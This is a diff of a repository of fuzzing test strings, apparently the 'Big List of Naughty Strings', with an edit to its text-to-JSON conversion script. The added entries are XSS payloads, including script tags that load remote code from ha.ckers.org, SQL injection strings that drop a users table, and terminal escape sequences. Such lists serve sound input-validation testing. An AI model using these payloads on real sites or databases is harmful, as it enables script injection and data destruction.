"<img \\x47src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x11src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x12src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x47src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x10src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x13src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x32src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x47src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img\\x11src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x47src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x34src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x39src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img \\x00src=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x09=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x10=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x13=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x32=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x12=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x11=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x00=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src\\x47=x onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src=x\\x09onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src=x\\x10onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src=x\\x11onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src=x\\x12onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img src=x\\x13onerror=\"javascript:alert(1)\">",
|
||||||
|
"<img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x09\"javascript:alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x10\"javascript:alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x11\"javascript:alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x12\"javascript:alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x32\"javascript:alert(1)\">",
|
||||||
|
"<img src=x onerror=\\x00\"javascript:alert(1)\">",
|
||||||
|
"<a href=javascript:javascript:alert(1)>XXX</a>",
|
||||||
|
"<img src=\"x` `<script>javascript:alert(1)</script>\"` `>",
|
||||||
|
"<img src onerror /\" '\"= alt=javascript:alert(1)//\">",
|
||||||
|
"<title onpropertychange=javascript:alert(1)></title><title title=>",
|
||||||
|
"<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">",
|
||||||
|
"<!--[if]><script>javascript:alert(1)</script -->",
|
||||||
|
"<!--[if<img src=x onerror=javascript:alert(1)//]> -->",
|
||||||
|
"<script src=\"/\\%(jscript)s\"></script>",
|
||||||
|
"<script src=\"\\\\%(jscript)s\"></script>",
|
||||||
|
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
|
||||||
|
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
|
||||||
|
"<IMG SRC=# onmouseover=\"alert('xxs')\">",
|
||||||
|
"<IMG SRC= onmouseover=\"alert('xxs')\">",
|
||||||
|
"<IMG onmouseover=\"alert('xxs')\">",
|
||||||
|
"<IMG SRC=javascript:alert('XSS')>",
|
||||||
|
"<IMG SRC=javascript:alert('XSS')>",
|
||||||
|
"<IMG SRC=javascript:alert('XSS')>",
|
||||||
|
"<IMG SRC=\"jav ascript:alert('XSS');\">",
|
||||||
|
"<IMG SRC=\"jav	ascript:alert('XSS');\">",
|
||||||
|
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
|
||||||
|
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
|
||||||
|
"perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out",
|
||||||
|
"<IMG SRC=\"  javascript:alert('XSS');\">",
|
||||||
|
"<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
|
||||||
|
"<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
|
||||||
|
"<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
|
||||||
|
"<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
|
||||||
|
"<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
|
||||||
|
"<SCRIPT SRC=//ha.ckers.org/.j>",
|
||||||
|
"<IMG SRC=\"javascript:alert('XSS')\"",
|
||||||
|
"<iframe src=http://ha.ckers.org/scriptlet.html <",
|
||||||
|
"\\\";alert('XSS');//",
|
||||||
"1;DROP TABLE users",
|
"1;DROP TABLE users",
|
||||||
"1'; DROP TABLE users--",
|
"1'; DROP TABLE users--",
|
||||||
|
"' OR 1 == 1;",
|
||||||
"-",
|
"-",
|
||||||
"--",
|
"--",
|
||||||
"--version",
|
"--version",
|
||||||
@@ -202,5 +434,6 @@
|
|||||||
"If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
|
"If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
|
||||||
"Roses are \u001b[0;31mred\u001b[0m, violets are \u001b[0;34mblue. Hope you enjoy terminal hue",
|
"Roses are \u001b[0;31mred\u001b[0m, violets are \u001b[0;34mblue. Hope you enjoy terminal hue",
|
||||||
"But now...\u001b[20Cfor my greatest trick...\u001b[8m",
|
"But now...\u001b[20Cfor my greatest trick...\u001b[8m",
|
||||||
|
"The quic\b\b\b\b\b\bk brown fo\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007x... [Beeeep]",
|
||||||
"Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗"
|
"Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗"
|
||||||
]
|
]
|
@@ -18,6 +18,9 @@ with open('../blns.txt', 'r') as f:
|
|||||||
# insert empty string since all are being removed
|
# insert empty string since all are being removed
|
||||||
content.insert(0, "")
|
content.insert(0, "")
|
||||||
|
|
||||||
|
# special case: convert "\" to "\\" for valid JSON
|
||||||
|
#content = map(lambda x: x.replace('\','\\'), content)
|
||||||
|
|
||||||
with open('../blns.json', 'wb') as f:
|
with open('../blns.json', 'wb') as f:
|
||||||
|
|
||||||
# write JSON to file; note the ensure_ascii parameter
|
# write JSON to file; note the ensure_ascii parameter
|
||||||
|
Reference in New Issue
Block a user